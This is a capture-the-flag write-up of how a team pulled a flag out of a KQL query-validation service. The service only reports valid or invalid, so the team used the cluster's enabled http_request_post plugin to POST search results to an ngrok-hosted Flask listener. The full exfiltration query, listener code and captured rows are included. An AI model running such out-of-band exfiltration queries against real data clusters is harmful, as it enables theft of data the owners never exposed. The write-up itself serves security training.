Writeup by slayyy @ Dragonslayerz
Lesson learned: Teamwork makes the dream work
The challenge presents a service that supposedly validates input KQL queries by executing them towards a ADX cluster, as per the description. The task was to find a vulnerability in this service, to find a flag within. The issue being, that the only output from the service was whether or not the query input vas "valid" or not (i.e. executed without throwing any errors).
The web service presented three main pages
Home
, a page with some information about the serviceValidate KQL
, a page with an input field and a button for validating said inputCluster Policies
, a page presenting the option of fetching the policies related to the cluster
Starting out by running some basic queries in parallel in my own ADX cluster and the validation service, and validating that it indeed seems to validate the needful. The essential question kept looming - how to get data out.
First idea was perhaps some command injection was possible, i.e. somehow do something with the "Cluster Policies" page function. Investigation into the source code showed that the button calls an API at /api/cluster_policies
and does some presentation magic wrt. the visual display of the fetched policies. While one further approach could have been looking for other API endpoints, I discarded my idea about command injection.
The next approach was to actually look at the data presented on the mentioned page - why was it here? Never being aware of such policies, a quick glance was awarded to them.
After some reading, a CTRL+F
of "http" gave 14 results on the page - 12 of them in the .show cluster policy caching
with some URL regexes for some reason - but also two in .show plugins
results.
...
{
"Description": "Version=2",
"IsEnabled": true,
"PluginName": "http_request"
},
{
"Description": "Version=2",
"IsEnabled": true,
"PluginName": "http_request_post"
},
...
Not being familiar with the plugins themselves, official docs indicated that they might be useful.
The next steps was preparing the data reception.
Setting Up ngrok Reverse Proxy
Finally I had an excuse to check out ngrok in an effort to receive the data. For reasons unknown, we chose the
ngrok http 443
Creating the Flask Service - We developed a simple Python Flask service to handle incoming requests and process the data. - Below is a basic example of the Flask service:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/', methods=['POST'])
def receive_post():
try:
data = request.data # Get the raw data
if not data:
raise ValueError("No data received")
print(f"Received POST data: {data.decode('utf-8')}") # Decode bytes to string for printing
return "POST request received", 200
except Exception as e:
print(f"Error: {e}")
return jsonify({"error": str(e)}), 400
@app.route('/', methods=['GET'], defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
return f'You want to access the path: /{path}'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443)
While the plugins discovered were useful for accessing statically defined URLs, and posting statically defined data, exposing the result of an executed query was troublesome.
Luckily someone has written about it at some point, and thanks to a Cameron Fuller at quisitive a bypass of the "static" requirements to the different parameters was achieved - the solution is basically to wrap the plugin into a function, and define the data as a variable, and then pass it through the function into the plugin. Easy as pie.
Initially, with a imprecise "payload" (or query, if you will) the response was the red herring result, as seen below.
Response: 127.0.0.1 - - [02/Nov/2024 16:16:28] "POST / HTTP/1.1" 200 - Received POST data:
{
"$table": "Devices",
"DeviceID": "0b86cce0-bae4-48d5-a76d-e382b1bd02b6",
"DeviceName": "EPT{b9f6",
"DeviceType": "Smartphone",
"LastSeen": "2024-04-10T23:48:17.7197370Z",
"StartTime": null,
"EndTime": null,
"EpisodeId": null,
"EventId": null,
"State": "",
"EventType": "",
"InjuriesDirect": null,
"InjuriesIndirect": null,
"DeathsDirect": null,
"DeathsIndirect": null,
"DamageProperty": null,
"DamageCrops": null,
"Source": "",
"BeginLocation": "",
"EndLocation": "",
"BeginLat": null,
"BeginLon": null,
"EndLat": null,
"EndLon": null,
"EpisodeNarrative": "",
"EventNarrative": "",
"StormSummary": null
}
However, after a great input from a teammate who was looking at the KQL game challenge, suggested the following query:
where * matches regex @"^EPT{.*}$"
It is a regex pattern that matches any string starting with EPT{
, followed by any sequence of characters, and ends with a closing brace }
.
This led to the following successful "payload" - go teamwork!
let content = search * | where * matches regex @"^EPT{.*}$" | project pack_all = tostring(pack_all());
let uri = "https://<ngrok-server>.ngrok-free.app";
let headers = dynamic({});
let options = dynamic({});
let content2 = tostring(toscalar(content));
let request = (uri:string, headers:dynamic, options:dynamic, json:string) {
evaluate http_request_post(uri, request_headers=headers,options, json)
};
request(uri, headers, options, content2)
This indeed gave the flag in the DeviceName
column in the response!
{
"$table": "Devices",
"DeviceID": "aee9635f-d3b4-4c37-89fb-293820ffb03b",
"DeviceName": "EPT{6X+Jd$>this_is_A_v3ry_long_fl4g_d0nt_try_to_brute_force_itt=B+----J-P.=pEv'GvAJ$aFdyRia.<i<N/7-Ymes3dU2Kjl'MrYM7-FHNDFf'UNZ'hq1n1Mveb'RCyEX'MlJ2kK,b,:Zn'>ABjwgv_7'j7''FY*I'JI,z@K1dvPLE@>R9!6x3O4hYG_5!/HnD/gt_g::S9'IgD'5@vbBfAcUOrv'u<4O=$,'IE./=DY$RX}",
"DeviceType": "Smartphone",
"LastSeen": "2024-09-23T15:55:09.8931430Z",
"StartTime": null,
"EndTime": null,
"EpisodeId": null,
"EventId": null,
"State": "",
"EventType": "",
"InjuriesDirect": null,
"InjuriesIndirect": null,
"DeathsDirect": null,
"DeathsIndirect": null,
"DamageProperty": null,
"DamageCrops": null,
"Source": "",
"BeginLocation": "",
"EndLocation": "",
"BeginLat": null,
"BeginLon": null,
"EndLat": null,
"EndLon": null,
"EpisodeNarrative": "",
"EventNarrative": "",
"StormSummary": null
}
By leveraging the cluster settings, setting up an ngrok reverse proxy, and creating a simple Flask service, we successfully identified and exploited a vulnerability in the KQL validation service.
- ngrok
- Python Flask